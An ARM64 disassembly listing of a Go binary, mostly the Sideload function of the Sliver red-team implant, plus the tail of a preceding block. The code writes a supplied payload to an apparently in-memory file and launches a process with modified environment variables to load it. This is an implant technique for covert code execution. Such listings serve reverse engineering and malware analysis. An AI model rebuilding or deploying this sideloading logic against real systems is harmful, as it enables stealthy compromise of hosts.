0042a8f0
0042a8f0loc_42a8f0:
0042a8f0b 0x42a908
0042a8f4
0042a8f4loc_42a8f4:
0042a8f4bl runtime.gcWriteBarrier2
0042a8f8str x0, [x25]
0042a8fcldr x5, [x1+8]
0042a900str x5, [x25+8]
0042a904b 0x42a908
0042a908
0042a908loc_42a908:
0042a908str x0, [x1+8]
0042a90cldr x2, [sp+344]
0042a910ldrsb x27, [x2]
0042a914b 0x42a918
0042a918
0042a918loc_42a918:
0042a918str x2, [sp+352]
0042a91corr x4, xzr, 1
0042a920str x4, [sp+360]
0042a924str x4, [sp+368]
0042a928adrp x0, 0x28b000
0042a92cadd x0, x0, 1186
0042a930movz x1, 17
0042a934mov x3, x4
0042a938bl log.Printf
0042a93cldr x0, [sp+1024]
0042a940bl bytes.(*Buffer).String
0042a944str x0, [sp+824]
0042a948str x1, [sp+832]
0042a94cadd x27, sp, 840
0042a950stp xzr, xzr, [x27]
0042a954add x5, sp, 840
0042a958str x5, [sp+304]
0042a95cldr x0, [sp+824]
0042a960ldr x1, [sp+832]
0042a964bl runtime.convTstring
0042a968str x0, [sp+296]
0042a96cldr x5, [sp+304]
0042a970ldrsb x27, [x5]
0042a974adrp x6, 0x1cb000
0042a978add x6, x6, 2944
0042a97cstr x6, [x5]
0042a980adrp x27, 0x621000
0042a984ldr w6, [x27+3056]
0042a988cbz w6, 0x42a990
0042a98cb 0x42a994
0042a990
0042a990loc_42a990:
0042a990b 0x42a9a8
0042a994
0042a994loc_42a994:
0042a994bl runtime.gcWriteBarrier2
0042a998str x0, [x25]
0042a99cldr x6, [x5+8]
0042a9a0str x6, [x25+8]
0042a9a4b 0x42a9a8
0042a9a8
0042a9a8loc_42a9a8:
0042a9a8str x0, [x5+8]
0042a9acldr x2, [sp+304]
0042a9b0ldrsb x27, [x2]
0042a9b4b 0x42a9b8
0042a9b8
0042a9b8loc_42a9b8:
0042a9b8str x2, [sp+312]
0042a9bcorr x4, xzr, 1
0042a9c0str x4, [sp+320]
0042a9c4str x4, [sp+328]
0042a9c8adrp x0, 0x28b000
0042a9ccadd x0, x0, 1203
0042a9d0movz x1, 17
0042a9d4mov x3, x4
0042a9d8bl log.Printf
0042a9dcldr x0, [sp+1016]
0042a9e0bl bytes.(*Buffer).String
0042a9e4str x0, [sp+824]
0042a9e8str x1, [sp+832]
0042a9ecstr x0, [sp+160]
0042a9f0str x1, [sp+168]
0042a9f4stp xzr, xzr, [sp+144]
0042a9f8ldr x0, [sp+160]
0042a9fcldr x1, [sp+168]
0042aa00mov x2, xzr
0042aa04mov x3, xzr
0042aa08ldp x29, x30, [sp-8]
0042aa0cadd sp, sp, 1040
0042aa10ret x30
0042aa14
0042aa14loc_42aa14:
0042aa14stp x0, x1, [sp+8]
0042aa18stp x2, x3, [sp+24]
0042aa1cstr x4, [sp+40]
0042aa20str w5, [sp+48]
0042aa24stp x6, x7, [sp+56]
0042aa28stp x8, x9, [sp+72]
0042aa2cstp x10, x11, [sp+88]
0042aa30strb w12, [sp+104]
0042aa34mov x3, x30
0042aa38bl runtime.morestack_noctxt.abi0
0042aa3cldp x0, x1, [sp+8]
0042aa40ldp x2, x3, [sp+24]
0042aa44ldr x4, [sp+40]
0042aa48ldr w5, [sp+48]
0042aa4cldp x6, x7, [sp+56]
0042aa50ldp x8, x9, [sp+72]
0042aa54ldp x10, x11, [sp+88]
0042aa58ldrb w12, [sp+104]
0042aa5cb 0x429dc0
00429dc0
00429dc0github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload(struct string procName, struct []string procArgs, uint32 p2, struct []uint8 data, struct []string args, bool kill)
00429dc0ldr x16, [x28+16]
00429dc4sub x17, sp, 912
00429dc8subs xzr, x17, x16
00429dccb.ls 0x42aa14
00429dd0sub x20, sp, 1040
00429dd4stp x29, x30, [x20-8]
00429dd8add sp, x20, 0
00429ddcsub x29, sp, 8
00429de0str x0, [sp+1048]
00429de4str x1, [sp+1056]
00429de8str x2, [sp+1064]
00429decstr x3, [sp+1072]
00429df0str x4, [sp+1080]
00429df4str w5, [sp+1088]
00429df8str x6, [sp+1096]
00429dfcstr x7, [sp+1104]
00429e00str x8, [sp+1112]
00429e04str x9, [sp+1120]
00429e08str x10, [sp+1128]
00429e0cstr x11, [sp+1136]
00429e10strb w12, [sp+1144]
00429e14stp xzr, xzr, [sp+160]
00429e18stp xzr, xzr, [sp+144]
00429e1cstr xzr, [sp+64]
00429e20adrp x0, 0x229000
00429e24add x0, x0, 2048
00429e28bl runtime.newobject
00429e2cstr x0, [sp+1016]
00429e30adrp x27, 0x622000
00429e34ldr w1, [x27+3056]
00429e38cbz w1, 0x429e40
00429e3cb 0x429e44
00429e40
00429e40loc_429e40:
00429e40b 0x429e60
00429e44
00429e44loc_429e44:
00429e44str x0, [sp+288]
00429e48mov x1, x0
00429e4cadrp x0, 0x229000
00429e50add x0, x0, 2048
00429e54bl runtime.wbZero
00429e58ldr x0, [sp+288]
00429e5cb 0x429e60
00429e60
00429e60loc_429e60:
00429e60stp xzr, xzr, [x0]
00429e64stp xzr, xzr, [x0+16]
00429e68str xzr, [x0+32]
00429e6cadrp x0, 0x229000
00429e70add x0, x0, 2048
00429e74bl runtime.newobject
00429e78str x0, [sp+1024]
00429e7cadrp x27, 0x622000
00429e80ldr w1, [x27+3056]
00429e84cbz w1, 0x429e8c
00429e88b 0x429e90
00429e8c
00429e8cloc_429e8c:
00429e8cb 0x429eac
00429e90
00429e90loc_429e90:
00429e90str x0, [sp+288]
00429e94mov x1, x0
00429e98adrp x0, 0x229000
00429e9cadd x0, x0, 2048
00429ea0bl runtime.wbZero
00429ea4ldr x0, [sp+288]
00429ea8b 0x429eac
00429eac
00429eacloc_429eac:
00429eacstp xzr, xzr, [x0]
00429eb0stp xzr, xzr, [x0+16]
00429eb4str xzr, [x0+32]
00429eb8adrp x0, 0x229000
00429ebcadd x0, x0, 128
00429ec0bl runtime.newobject
00429ec4str x0, [sp+1008]
00429ec8str xzr, [x0]
00429eccstr wzr, [x0+8]
00429ed0str xzr, [sp+280]
00429ed4orr x0, xzr, 8
00429ed8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString
00429edcstr x0, [sp+200]
00429ee0str x1, [sp+208]
00429ee4str xzr, [sp+952]
00429ee8add x27, sp, 936
00429eecstp xzr, xzr, [x27]
00429ef0ldr x0, [sp+200]
00429ef4ldr x1, [sp+208]
00429ef8bl syscall.BytePtrFromString
00429efcstr x0, [sp+952]
00429f00str x1, [sp+936]
00429f04str x2, [sp+944]
00429f08ldr x1, [sp+952]
00429f0cstr x1, [sp+1000]
00429f10ldr x1, [sp+936]
00429f14ldr x2, [sp+944]
00429f18str x1, [sp+984]
00429f1cstr x2, [sp+992]
00429f20ldr x1, [sp+1000]
00429f24str x1, [sp+216]
00429f28ldr x1, [sp+992]
00429f2cldr x2, [sp+984]
00429f30str x2, [sp+240]
00429f34str x1, [sp+248]
00429f38cbnz x2, 0x429f40
00429f3cb 0x42a01c
00429f40
00429f40loc_429f40:
00429f40add x27, sp, 920
00429f44stp xzr, xzr, [x27]
00429f48add x5, sp, 920
00429f4cstr x5, [sp+760]
00429f50ldr x5, [sp+240]
00429f54ldr x6, [sp+248]
00429f58str x5, [sp+744]
00429f5cstr x6, [sp+752]
00429f60str x5, [sp+736]
00429f64ldr x5, [sp+736]
00429f68cbnz x5, 0x429f70
00429f6cb 0x429f80
00429f70
00429f70loc_429f70:
00429f70ldr x5, [sp+736]
00429f74ldr x5, [x5+8]
00429f78str x5, [sp+736]
00429f7cb 0x429f84
00429f80
00429f80loc_429f80:
00429f80b 0x429f84
00429f84
00429f84loc_429f84:
00429f84ldr x5, [sp+760]
00429f88ldrsb x27, [x5]
00429f8cldr x6, [sp+752]
00429f90ldr x7, [sp+736]
00429f94str x7, [x5]
00429f98adrp x27, 0x622000
00429f9cldr w7, [x27+3056]
00429fa0cbz w7, 0x429fa8
00429fa4b 0x429fac
00429fa8
00429fa8loc_429fa8:
00429fa8b 0x429fc0
00429fac
00429facloc_429fac:
00429facbl runtime.gcWriteBarrier2
00429fb0str x6, [x25]
00429fb4ldr x7, [x5+8]
00429fb8str x7, [x25+8]
00429fbcb 0x429fc0
00429fc0
00429fc0loc_429fc0:
00429fc0str x6, [x5+8]
00429fc4ldr x2, [sp+760]
00429fc8ldrsb x27, [x2]
00429fccb 0x429fd0
00429fd0
00429fd0loc_429fd0:
00429fd0str x2, [sp+768]
00429fd4orr x4, xzr, 1
00429fd8str x4, [sp+776]
00429fdcstr x4, [sp+784]
00429fe0adrp x0, 0x292000
00429fe4add x0, x0, 2620
00429fe8orr x1, xzr, 28
00429fecmov x3, x4
00429ff0bl log.Printf
00429ff4stp xzr, xzr, [sp+160]
00429ff8ldr x3, [sp+248]
00429ffcldr x2, [sp+240]
0042a000str x2, [sp+144]
0042a004str x3, [sp+152]
0042a008ldr x0, [sp+160]
0042a00cldr x1, [sp+168]
0042a010ldp x29, x30, [sp-8]
0042a014add sp, sp, 1040
0042a018ret x30
0042a01c
0042a01cloc_42a01c:
0042a01cmovz x4, 319
0042a020str x4, [sp+64]
0042a024ldr x4, [sp+216]
0042a028str x4, [sp+960]
0042a02cldr x0, [sp+64]
0042a030ldr x1, [sp+960]
0042a034orr x2, xzr, 1
0042a038mov x3, xzr
0042a03cbl syscall.Syscall
0042a040str x0, [sp+112]
0042a044str x1, [sp+104]
0042a048str x2, [sp+96]
0042a04cstr x0, [sp+136]
0042a050str x1, [sp+128]
0042a054str x2, [sp+120]
0042a058str x0, [sp+72]
0042a05cbl os.Getpid
0042a060str x0, [sp+56]
0042a064add x27, sp, 888
0042a068stp xzr, xzr, [x27]
0042a06cadd x27, sp, 904
0042a070stp xzr, xzr, [x27]
0042a074add x4, sp, 888
0042a078str x4, [sp+704]
0042a07cldr x0, [sp+56]
0042a080bl runtime.convT64
0042a084str x0, [sp+696]
0042a088ldr x4, [sp+704]
0042a08cldrsb x27, [x4]
0042a090adrp x5, 0x1cb000
0042a094add x5, x5, 3520
0042a098str x5, [x4]
0042a09cadrp x27, 0x621000
0042a0a0ldr w5, [x27+3056]
0042a0a4cbz w5, 0x42a0ac
0042a0a8b 0x42a0b0
0042a0ac
0042a0acloc_42a0ac:
0042a0acb 0x42a0c4
0042a0b0
0042a0b0loc_42a0b0:
0042a0b0bl runtime.gcWriteBarrier2
0042a0b4str x0, [x25]
0042a0b8ldr x1, [x4+8]
0042a0bcstr x1, [x25+8]
0042a0c0b 0x42a0c4
0042a0c4
0042a0c4loc_42a0c4:
0042a0c4str x0, [x4+8]
0042a0c8ldr x0, [sp+72]
0042a0ccbl runtime.convT64
0042a0d0str x0, [sp+688]
0042a0d4ldr x1, [sp+704]
0042a0d8ldrsb x27, [x1]
0042a0dcadrp x2, 0x1cb000
0042a0e0add x2, x2, 3648
0042a0e4str x2, [x1+16]
0042a0e8adrp x27, 0x621000
0042a0ecldr w2, [x27+3056]
0042a0f0cbz w2, 0x42a0f8
0042a0f4b 0x42a0fc
0042a0f8
0042a0f8loc_42a0f8:
0042a0f8b 0x42a110
0042a0fc
0042a0fcloc_42a0fc:
0042a0fcbl runtime.gcWriteBarrier2
0042a100str x0, [x25]
0042a104ldr x5, [x1+24]
0042a108str x5, [x25+8]
0042a10cb 0x42a110
0042a110
0042a110loc_42a110:
0042a110str x0, [x1+24]
0042a114ldr x2, [sp+704]
0042a118ldrsb x27, [x2]
0042a11cb 0x42a120
0042a120
0042a120loc_42a120:
0042a120str x2, [sp+712]
0042a124orr x4, xzr, 2
0042a128str x4, [sp+720]
0042a12cstr x4, [sp+728]
0042a130adrp x0, 0x289000
0042a134add x0, x0, 3542
0042a138orr x1, xzr, 14
0042a13cmov x3, x4
0042a140bl fmt.Sprintf
0042a144str x0, [sp+224]
0042a148str x1, [sp+232]
0042a14cldr x3, [sp+1104]
0042a150ldr x4, [sp+1112]
0042a154ldr x2, [sp+1096]
0042a158movz x5, 493
0042a15cbl os.WriteFile
0042a160str x0, [sp+240]
0042a164str x1, [sp+248]
0042a168cbnz x0, 0x42a170
0042a16cb 0x42a24c
0042a170
0042a170loc_42a170:
0042a170add x27, sp, 920
0042a174stp xzr, xzr, [x27]
0042a178add x5, sp, 920
0042a17cstr x5, [sp+656]
0042a180ldr x5, [sp+240]
0042a184ldr x6, [sp+248]
0042a188str x5, [sp+640]
0042a18cstr x6, [sp+648]
0042a190str x5, [sp+632]
0042a194ldr x5, [sp+632]
0042a198cbnz x5, 0x42a1a0
0042a19cb 0x42a1b0
0042a1a0
0042a1a0loc_42a1a0:
0042a1a0ldr x5, [sp+632]
0042a1a4ldr x5, [x5+8]
0042a1a8str x5, [sp+632]
0042a1acb 0x42a1b4
0042a1b0
0042a1b0loc_42a1b0:
0042a1b0b 0x42a1b4
0042a1b4
0042a1b4loc_42a1b4:
0042a1b4ldr x5, [sp+656]
0042a1b8ldrsb x27, [x5]
0042a1bcldr x6, [sp+632]
0042a1c0ldr x7, [sp+648]
0042a1c4str x6, [x5]
0042a1c8adrp x27, 0x621000
0042a1ccldr w6, [x27+3056]
0042a1d0cbz w6, 0x42a1d8
0042a1d4b 0x42a1dc
0042a1d8
0042a1d8loc_42a1d8:
0042a1d8b 0x42a1f0
0042a1dc
0042a1dcloc_42a1dc:
0042a1dcbl runtime.gcWriteBarrier2
0042a1e0str x7, [x25]
0042a1e4ldr x6, [x5+8]
0042a1e8str x6, [x25+8]
0042a1ecb 0x42a1f0
0042a1f0
0042a1f0loc_42a1f0:
0042a1f0str x7, [x5+8]
0042a1f4ldr x2, [sp+656]
0042a1f8ldrsb x27, [x2]
0042a1fcb 0x42a200
0042a200
0042a200loc_42a200:
0042a200str x2, [sp+664]
0042a204orr x4, xzr, 1
0042a208str x4, [sp+672]
0042a20cstr x4, [sp+680]
0042a210adrp x0, 0x294000
0042a214add x0, x0, 2288
0042a218orr x1, xzr, 32
0042a21cmov x3, x4
0042a220bl log.Printf
0042a224stp xzr, xzr, [sp+160]
0042a228ldr x3, [sp+248]
0042a22cldr x2, [sp+240]
0042a230str x2, [sp+144]
0042a234str x3, [sp+152]
0042a238ldr x0, [sp+160]
0042a23cldr x1, [sp+168]
0042a240ldp x29, x30, [sp-8]
0042a244add sp, sp, 1040
0042a248ret x30
0042a24c
0042a24cloc_42a24c:
0042a24cadd x27, sp, 920
0042a250stp xzr, xzr, [x27]
0042a254add x2, sp, 920
0042a258str x2, [sp+600]
0042a25cldr x0, [sp+224]
0042a260ldr x1, [sp+232]
0042a264bl runtime.convTstring
0042a268str x0, [sp+592]
0042a26cldr x2, [sp+600]
0042a270ldrsb x27, [x2]
0042a274adrp x3, 0x1cb000
0042a278add x3, x3, 2944
0042a27cstr x3, [x2]
0042a280adrp x27, 0x621000
0042a284ldr w3, [x27+3056]
0042a288cbz w3, 0x42a290
0042a28cb 0x42a294
0042a290
0042a290loc_42a290:
0042a290b 0x42a2a8
0042a294
0042a294loc_42a294:
0042a294bl runtime.gcWriteBarrier2
0042a298str x0, [x25]
0042a29cldr x5, [x2+8]
0042a2a0str x5, [x25+8]
0042a2a4b 0x42a2a8
0042a2a8
0042a2a8loc_42a2a8:
0042a2a8str x0, [x2+8]
0042a2acldr x2, [sp+600]
0042a2b0ldrsb x27, [x2]
0042a2b4b 0x42a2b8
0042a2b8
0042a2b8loc_42a2b8:
0042a2b8str x2, [sp+608]
0042a2bcorr x4, xzr, 1
0042a2c0str x4, [sp+616]
0042a2c4str x4, [sp+624]
0042a2c8adrp x0, 0x28c000
0042a2ccadd x0, x0, 1175
0042a2d0movz x1, 19
0042a2d4mov x3, x4
0042a2d8bl log.Printf
0042a2dcbl os.Environ
0042a2e0str x0, [sp+256]
0042a2e4str x1, [sp+264]
0042a2e8str x2, [sp+272]
0042a2ecldr x0, [sp+1120]
0042a2f0ldr x1, [sp+1128]
0042a2f4ldr x2, [sp+1136]
0042a2f8adrp x3, 0x2e6000
0042a2fcadd x3, x3, 3072
0042a300orr x4, xzr, 1
0042a304bl strings.Join
0042a308str x0, [sp+872]
0042a30cstr x1, [sp+880]
0042a310add x27, sp, 920
0042a314stp xzr, xzr, [x27]
0042a318add x5, sp, 920
0042a31cstr x5, [sp+560]
0042a320ldr x0, [sp+872]
0042a324ldr x1, [sp+880]
0042a328bl runtime.convTstring
0042a32cstr x0, [sp+552]
0042a330ldr x5, [sp+560]
0042a334ldrsb x27, [x5]
0042a338adrp x6, 0x1cb000
0042a33cadd x6, x6, 2944
0042a340str x6, [x5]
0042a344adrp x27, 0x621000
0042a348ldr w6, [x27+3056]
0042a34ccbz w6, 0x42a354
0042a350b 0x42a358
0042a354
0042a354loc_42a354:
0042a354b 0x42a36c
0042a358
0042a358loc_42a358:
0042a358bl runtime.gcWriteBarrier2
0042a35cstr x0, [x25]
0042a360ldr x6, [x5+8]
0042a364str x6, [x25+8]
0042a368b 0x42a36c
0042a36c
0042a36cloc_42a36c:
0042a36cstr x0, [x5+8]
0042a370ldr x2, [sp+560]
0042a374ldrsb x27, [x2]
0042a378b 0x42a37c
0042a37c
0042a37cloc_42a37c:
0042a37cstr x2, [sp+568]
0042a380orr x4, xzr, 1
0042a384str x4, [sp+576]
0042a388str x4, [sp+584]
0042a38cadrp x0, 0x289000
0042a390add x0, x0, 552
0042a394orr x1, xzr, 12
0042a398mov x3, x4
0042a39cbl fmt.Sprintf
0042a3a0str x0, [sp+856]
0042a3a4str x1, [sp+864]
0042a3a8add x27, sp, 840
0042a3acstp xzr, xzr, [x27]
0042a3b0add x5, sp, 840
0042a3b4str x5, [sp+520]
0042a3b8ldr x0, [sp+224]
0042a3bcldr x1, [sp+232]
0042a3c0bl runtime.convTstring
0042a3c4str x0, [sp+512]
0042a3c8ldr x5, [sp+520]
0042a3ccldrsb x27, [x5]
0042a3d0adrp x6, 0x1cb000
0042a3d4add x6, x6, 2944
0042a3d8str x6, [x5]
0042a3dcadrp x27, 0x621000
0042a3e0ldr w6, [x27+3056]
0042a3e4cbz w6, 0x42a3ec
0042a3e8b 0x42a3f0
0042a3ec
0042a3ecloc_42a3ec:
0042a3ecb 0x42a404
0042a3f0
0042a3f0loc_42a3f0:
0042a3f0bl runtime.gcWriteBarrier2
0042a3f4str x0, [x25]
0042a3f8ldr x6, [x5+8]
0042a3fcstr x6, [x25+8]
0042a400b 0x42a404
0042a404
0042a404loc_42a404:
0042a404str x0, [x5+8]
0042a408ldr x2, [sp+520]
0042a40cldrsb x27, [x2]
0042a410b 0x42a414
0042a414
0042a414loc_42a414:
0042a414str x2, [sp+528]
0042a418orr x4, xzr, 1
0042a41cstr x4, [sp+536]
0042a420str x4, [sp+544]
0042a424adrp x0, 0x289000
0042a428add x0, x0, 2226
0042a42cmovz x1, 13
0042a430mov x3, x4
0042a434bl fmt.Sprintf
0042a438str x0, [sp+824]
0042a43cstr x1, [sp+832]
0042a440stp xzr, xzr, [sp+472]
0042a444stp xzr, xzr, [sp+488]
0042a448add x5, sp, 472
0042a44cstr x5, [sp+504]
0042a450ldrsb x27, [x5]
0042a454ldr x6, [sp+856]
0042a458ldr x7, [sp+864]
0042a45cstr x7, [x5+8]
0042a460adrp x27, 0x621000
0042a464ldr w7, [x27+3056]
0042a468cbz w7, 0x42a470
0042a46cb 0x42a474
0042a470
0042a470loc_42a470:
0042a470b 0x42a488
0042a474
0042a474loc_42a474:
0042a474bl runtime.gcWriteBarrier2
0042a478str x6, [x25]
0042a47cldr x7, [x5]
0042a480str x7, [x25+8]
0042a484b 0x42a488
0042a488
0042a488loc_42a488:
0042a488str x6, [x5]
0042a48cldrsb x27, [x5]
0042a490ldr x6, [sp+824]
0042a494ldr x7, [sp+832]
0042a498str x7, [x5+24]
0042a49cadrp x27, 0x621000
0042a4a0ldr w7, [x27+3056]
0042a4a4cbz w7, 0x42a4ac
0042a4a8b 0x42a4b0
0042a4ac
0042a4acloc_42a4ac:
0042a4acb 0x42a4c4
0042a4b0
0042a4b0loc_42a4b0:
0042a4b0bl runtime.gcWriteBarrier2
0042a4b4str x6, [x25]
0042a4b8ldr x7, [x5+16]
0042a4bcstr x7, [x25+8]
0042a4c0b 0x42a4c4
0042a4c4
0042a4c4loc_42a4c4:
0042a4c4str x6, [x5+16]
0042a4c8ldr x5, [sp+504]
0042a4ccldrsb x27, [x5]
0042a4d0b 0x42a4d4
0042a4d4
0042a4d4loc_42a4d4:
0042a4d4str x5, [sp+176]
0042a4d8orr x5, xzr, 2
0042a4dcstr x5, [sp+184]
0042a4e0str x5, [sp+192]
0042a4e4ldr x2, [sp+272]
0042a4e8ldr x0, [sp+256]
0042a4ecldr x5, [sp+264]
0042a4f0str x0, [sp+448]
0042a4f4str x5, [sp+456]
0042a4f8str x2, [sp+464]
0042a4fcldr x6, [sp+184]
0042a500add x1, x5, x6
0042a504str x1, [sp+80]
0042a508subs xzr, x2, x1
0042a50cb.hs 0x42a514
0042a510b 0x42a51c
0042a514
0042a514loc_42a514:
0042a514str x1, [sp+456]
0042a518b 0x42a53c
0042a51c
0042a51cloc_42a51c:
0042a51cldr x3, [sp+184]
0042a520adrp x4, 0x1cb000
0042a524add x4, x4, 2944
0042a528bl runtime.growslice
0042a52cstr x0, [sp+448]
0042a530str x1, [sp+456]
0042a534str x2, [sp+464]
0042a538b 0x42a53c
0042a53c
0042a53cloc_42a53c:
0042a53cldr x5, [sp+80]
0042a540ldr x6, [sp+184]
0042a544sub x7, x5, x6
0042a548ubfm x7, x7, 60, 59
0042a54cldr x8, [sp+448]
0042a550ldr x9, [sp+456]
0042a554add x9, x9, x6
0042a558sub x2, x9, x5
0042a55cldr x9, [sp+464]
0042a560add x6, x9, x6
0042a564sub x5, x6, x5
0042a568sub x6, xzr, x5
0042a56cand x6, x7, x6, asr #63
0042a570add x1, x8, x6
0042a574str x1, [sp+424]
0042a578str x2, [sp+432]
0042a57cstr x5, [sp+440]
0042a580ldr x3, [sp+176]
0042a584ldr x4, [sp+184]
0042a588adrp x0, 0x1cb000
0042a58cadd x0, x0, 2944
0042a590bl runtime.typedslicecopy
0042a594ldr x5, [sp+448]
0042a598ldr x6, [sp+456]
0042a59cldr x7, [sp+464]
0042a5a0str x5, [sp+256]
0042a5a4str x6, [sp+264]
0042a5a8str x7, [sp+272]
0042a5acldr x5, [sp+1072]
0042a5b0str x5, [sp+88]
0042a5b4cbnz x5, 0x42a5bc
0042a5b8b 0x42a5dc
0042a5bc
0042a5bcloc_42a5bc:
0042a5bcldr x0, [sp+1048]
0042a5c0ldr x2, [sp+1064]
0042a5c4ldr x1, [sp+1056]
0042a5c8ldr x3, [sp+1072]
0042a5ccldr x4, [sp+1080]
0042a5d0bl os/exec.Command
0042a5d4str x0, [sp+280]
0042a5d8b 0x42a5fc
0042a5dc
0042a5dcloc_42a5dc:
0042a5dcldr x0, [sp+1048]
0042a5e0ldr x1, [sp+1056]
0042a5e4mov x2, xzr
0042a5e8mov x3, xzr
0042a5ecmov x4, x3
0042a5f0bl os/exec.Command
0042a5f4str x0, [sp+280]
0042a5f8b 0x42a5fc
0042a5fc
0042a5fcloc_42a5fc:
0042a5fcldr x1, [sp+280]
0042a600ldrsb x27, [x1]
0042a604ldr x2, [sp+256]
0042a608ldr x3, [sp+264]
0042a60cldr x4, [sp+272]
0042a610str x3, [x1+48]
0042a614str x4, [x1+56]
0042a618adrp x27, 0x621000
0042a61cldr w3, [x27+3056]
0042a620cbz w3, 0x42a628
0042a624b 0x42a62c
0042a628
0042a628loc_42a628:
0042a628b 0x42a640
0042a62c
0042a62cloc_42a62c:
0042a62cbl runtime.gcWriteBarrier2
0042a630str x2, [x25]
0042a634ldr x3, [x1+40]
0042a638str x3, [x25+8]
0042a63cb 0x42a640
0042a640
0042a640loc_42a640:
0042a640str x2, [x1+40]
0042a644ldr x1, [sp+1016]
0042a648str x1, [sp+816]
0042a64cldr x2, [sp+280]
0042a650ldrsb x27, [x2]
0042a654adrp x3, 0x2e9000
0042a658add x3, x3, 2976
0042a65cstr x3, [x2+96]
0042a660adrp x27, 0x621000
0042a664ldr w3, [x27+3056]
0042a668cbz w3, 0x42a670
0042a66cb 0x42a674
0042a670
0042a670loc_42a670:
0042a670b 0x42a688
0042a674
0042a674loc_42a674:
0042a674bl runtime.gcWriteBarrier2
0042a678str x1, [x25]
0042a67cldr x3, [x2+104]
0042a680str x3, [x25+8]
0042a684b 0x42a688
0042a688
0042a688loc_42a688:
0042a688str x1, [x2+104]
0042a68cldr x1, [sp+1024]
0042a690str x1, [sp+816]
0042a694ldr x2, [sp+280]
0042a698ldrsb x27, [x2]
0042a69cadrp x3, 0x2e9000
0042a6a0add x3, x3, 2976
0042a6a4str x3, [x2+112]
0042a6a8adrp x27, 0x621000
0042a6acldr w3, [x27+3056]
0042a6b0cbz w3, 0x42a6b8
0042a6b4b 0x42a6bc
0042a6b8
0042a6b8loc_42a6b8:
0042a6b8b 0x42a6d0
0042a6bc
0042a6bcloc_42a6bc:
0042a6bcbl runtime.gcWriteBarrier2
0042a6c0str x1, [x25]
0042a6c4ldr x3, [x2+120]
0042a6c8str x3, [x25+8]
0042a6ccb 0x42a6d0
0042a6d0
0042a6d0loc_42a6d0:
0042a6d0str x1, [x2+120]
0042a6d4ldr x0, [sp+280]
0042a6d8bl os/exec.(*Cmd).String
0042a6dcstr x0, [sp+824]
0042a6e0str x1, [sp+832]
0042a6e4add x27, sp, 840
0042a6e8stp xzr, xzr, [x27]
0042a6ecadd x1, sp, 840
0042a6f0str x1, [sp+392]
0042a6f4ldr x0, [sp+824]
0042a6f8ldr x1, [sp+832]
0042a6fcbl runtime.convTstring
0042a700str x0, [sp+384]
0042a704ldr x1, [sp+392]
0042a708ldrsb x27, [x1]
0042a70cadrp x2, 0x1cb000
0042a710add x2, x2, 2944
0042a714str x2, [x1]
0042a718adrp x27, 0x621000
0042a71cldr w2, [x27+3056]
0042a720cbz w2, 0x42a728
0042a724b 0x42a72c
0042a728
0042a728loc_42a728:
0042a728b 0x42a740
0042a72c
0042a72cloc_42a72c:
0042a72cbl runtime.gcWriteBarrier2
0042a730str x0, [x25]
0042a734ldr x5, [x1+8]
0042a738str x5, [x25+8]
0042a73cb 0x42a740
0042a740
0042a740loc_42a740:
0042a740str x0, [x1+8]
0042a744ldr x2, [sp+392]
0042a748ldrsb x27, [x2]
0042a74cb 0x42a750
0042a750
0042a750loc_42a750:
0042a750str x2, [sp+400]
0042a754orr x4, xzr, 1
0042a758str x4, [sp+408]
0042a75cstr x4, [sp+416]
0042a760adrp x0, 0x289000
0042a764add x0, x0, 564
0042a768orr x1, xzr, 12
0042a76cmov x3, x4
0042a770bl log.Printf
0042a774ldr x0, [sp+1008]
0042a778orr x1, xzr, 1
0042a77cbl sync.(*WaitGroup).Add
0042a780ldr x5, [sp+280]
0042a784str x5, [sp+976]
0042a788ldr x5, [sp+1008]
0042a78cstr x5, [sp+968]
0042a790adrp x0, 0x222000
0042a794add x0, x0, 960
0042a798bl runtime.newobject
0042a79cstr x0, [sp+376]
0042a7a0adrp x5, 0
0042a7a4add x5, x5, 2656
0042a7a8str x5, [x0]
0042a7acldr x5, [sp+976]
0042a7b0ldr x6, [sp+376]
0042a7b4ldrsb x27, [x6]
0042a7b8adrp x27, 0x621000
0042a7bcldr w7, [x27+3056]
0042a7c0cbz w7, 0x42a7c8
0042a7c4b 0x42a7cc
0042a7c8
0042a7c8loc_42a7c8:
0042a7c8b 0x42a7e0
0042a7cc
0042a7ccloc_42a7cc:
0042a7ccbl runtime.gcWriteBarrier2
0042a7d0str x5, [x25]
0042a7d4ldr x1, [x6+8]
0042a7d8str x1, [x25+8]
0042a7dcb 0x42a7e0
0042a7e0
0042a7e0loc_42a7e0:
0042a7e0str x5, [x6+8]
0042a7e4ldr x1, [sp+968]
0042a7e8ldr x2, [sp+376]
0042a7ecldrsb x27, [x2]
0042a7f0adrp x27, 0x621000
0042a7f4ldr w3, [x27+3056]
0042a7f8cbz w3, 0x42a800
0042a7fcb 0x42a804
0042a800
0042a800loc_42a800:
0042a800b 0x42a818
0042a804
0042a804loc_42a804:
0042a804bl runtime.gcWriteBarrier2
0042a808str x1, [x25]
0042a80cldr x3, [x2+16]
0042a810str x3, [x25+8]
0042a814b 0x42a818
0042a818
0042a818loc_42a818:
0042a818str x1, [x2+16]
0042a81cldr x0, [sp+376]
0042a820bl runtime.newproc
0042a824ldr x0, [sp+1008]
0042a828bl sync.(*WaitGroup).Wait
0042a82cldr x0, [sp+1024]
0042a830bl bytes.(*Buffer).Bytes
0042a834str x0, [sp+792]
0042a838str x1, [sp+800]
0042a83cstr x2, [sp+808]
0042a840str x1, [sp+88]
0042a844cbnz x1, 0x42a84c
0042a848b 0x42a89c
0042a84c
0042a84cloc_42a84c:
0042a84cldr x0, [sp+1024]
0042a850bl bytes.(*Buffer).String
0042a854str x0, [sp+824]
0042a858str x1, [sp+832]
0042a85cmov x2, xzr
0042a860mov x3, xzr
0042a864mov x4, x3
0042a868bl fmt.Errorf
0042a86cstr x0, [sp+936]
0042a870str x1, [sp+944]
0042a874stp xzr, xzr, [sp+160]
0042a878ldr x2, [sp+936]
0042a87cldr x3, [sp+944]
0042a880str x2, [sp+144]
0042a884str x3, [sp+152]
0042a888ldr x0, [sp+160]
0042a88cldr x1, [sp+168]
0042a890ldp x29, x30, [sp-8]
0042a894add sp, sp, 1040
0042a898ret x30
0042a89c
0042a89cloc_42a89c:
0042a89cldr x0, [sp+1016]
0042a8a0bl bytes.(*Buffer).String
0042a8a4str x0, [sp+824]
0042a8a8str x1, [sp+832]
0042a8acadd x27, sp, 840
0042a8b0stp xzr, xzr, [x27]
0042a8b4add x1, sp, 840
0042a8b8str x1, [sp+344]
0042a8bcldr x0, [sp+824]
